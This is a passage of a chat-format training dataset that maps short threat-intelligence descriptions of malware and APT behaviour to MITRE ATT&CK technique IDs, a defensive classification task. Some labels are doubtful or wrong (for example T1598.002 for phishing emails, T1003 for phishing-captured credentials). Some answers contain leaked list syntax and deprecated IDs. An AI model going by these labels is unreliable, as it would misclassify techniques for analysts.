                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads several additional files and saves them to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi gathers and exfiltrates keystrokes from the machine."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement can be done with  through net use commands to connect to the on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts some of its files with XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can custom encrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WinMM uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used JuicyPotato to abuse the \"SeImpersonate\" token privilege to escalate from web application pool accounts to NT Authority\\SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has used the \"ShowLocalGroupDetails\" command to identify administrator, user, and guest accounts on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a tool to infect connected USB devices and transmit itself to air-gapped computers when the infected USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use domain generation algorithms in C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Group used a rootkit to modify typical server functionality."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can interact with a victim’s Outlook session and look through folders and emails."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The scripts create scheduled tasks and also retrieve, decode, and execute a copy of Revenge RAT"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hooked WriteFile procedure’s main purpose is to save the file handle of the subject file to write and install another hook in the CloseHandle API function"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of the data reconnaissance phase, Proxysvc grabs the system time to send back to the control server."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CTU analysis indicates that BRONZE BUTLER primarily targets organizations located in Japan. The threat group has sought unauthorized access to networks of organizations associated with critical infrastructure, heavy industry, manufacturing, and international relations. Secureworks analysts have observed BRONZE BUTLER exfiltrating the following categories of data"
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive', 'T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Implant Type – WaterBear is a stage-2 implant with many capabilities; BendyBear is a stage-0 downloader"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's macOS backdoor can receive a “delete” command."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to perform screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has waited a specified time before downloading a second stage payload."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supported commands “upload“, “screenshot“, “Excel“, “Outlook“, “risk“, “reboot“, “shutdown“, “clean“"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 has utilized a UAC bypass tool."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to add the public key of its handlers to the \"authorized_keys\" file to maintain persistence on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has enumerated network shares on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload will use a specific regular expressions dependent on the type of DNS query was used to obtain the command string, which can be seen in Table 2:    DNS TYPE Regex Pattern   A Address:\\s+(\\d+.\\d+.\\d+.\\d+)   AC \\d+-\\d+-(\\d+)-([\\w\\d+/=]+)-\\d-.ac.$Global:domain   AAAA Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})   CNAME,MX,TXT,SRV,SOA (\\d+)-([\\w\\d/=+]{0,})\\-.$Global:domain    Table 2 Types of responses provided by C2 These regular expressions are used to build strings that the payload will then subject to its command handler"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors use  to schedule tasks to run self-extracting RAR archives, which install  or  on other victims on a network."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Given the regional file format used there is a chance that some security software suites may not handle them well, and this may have provided an evasion case for the attacker.The documents sent to the targets were titled \"Analysis of \"Northern New Year in 2017\" and used the official logo of the Korean Ministry of Unification"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to \"%SYSTEMROOT%\" (\"C:\\WINDOWS\\ntshrui.dll\")."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has enumerated hosts via Empire, gathering the username, domain name, machine name, and other system information."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to XOR encrypt files to be sent to C2."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used WinRM to enable remote execution."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The message sent to the C2 will be “file is deleted.” if successful or “file is not deleted.” if unsuccessful"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet"
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used Cobalt Strike to encapsulate C2 in DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish using a AppCertDLLs Registry key."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 regularly used stealthy techniques to blend in with legitimate user activity:  During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can be partly encrypted with XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete malware and associated artifacts from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created a custom video recording capability that could be used to monitor operations in the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used open-source tools such as Weave Scope to target exposed Docker API ports and gain initial access to victim environments. TeamTNT has also targeted exposed kubelets for Kubernetes environments."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution. The group has also used an exploit toolkit known as Threadkit that launches .bat files."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower has the ability to use \"ipconfig\" to enumerate system network settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has distributed NotPetya by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails with political themes were used in the majority of the observed attack emails"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has used Python scripts to deploy ransomware."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To deploy the file injector, the instrumentor downloads additional payloads to be injected into a benign process"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2 SYSCON network traffic witnessed during execution   Pivoting on the domain hosting the SYSCON sample, 881.000webhostapp[.]com, revealed a number of additional samples, including a sample of the KONNI malware family, and four 64-bit executable files belonging to the CARROTBAT malware family"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as net group and net localgroup can be used in  to gather information about and manipulate groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ping can be used to identify remote systems within a network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise configures itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ConnectWise can take screenshots on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth creates a startup item for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy will attempt to detect if a usable smart card is current inserted into a card reader."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can use JavaScript code for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has communicated with C2 servers over port 6667 (for IRC) and port 8080."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish using a Registry run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SamSam has been seen using AES or DES to encrypt payloads and payload components."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has manipulated timestamps for creation or compilation dates to defeat anti-forensics."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used QuickZip to archive stolen files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of recent cryptocurrency-mining threats. This malware is notable because of the way it loads malicious kernel modules to keep its cryptocurrency mining operations under the radar."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon schedules tasks to invoke its components in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that leveraged WMI for execution and querying host information."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp can download and execute new plugins from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g. hxxps://185[.]225[.]69[.]69/) and logs the HTTP response to a plaintext log file (e.g. loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis uses \"ipconfig\" to gather the IP address from the system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once on the network, the attackers engaged in network reconnaissance and retrieved a list of trusted domains and a list of domain controllers with the following commands"
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker adds keys to the Registry at \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\" and various other Registry locations."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used the ntdsutil.exe utility, which was present on a target's Active Directory® server to export the Active Directory database for credential access."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses single-byte XOR obfuscation to obfuscate many of its files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture', 'T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6 Authentication dialog box with fake credentials entered On the C2 server, we observed Phishery receiving the inbound request and capturing the credentials, as seen in Figure 7"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
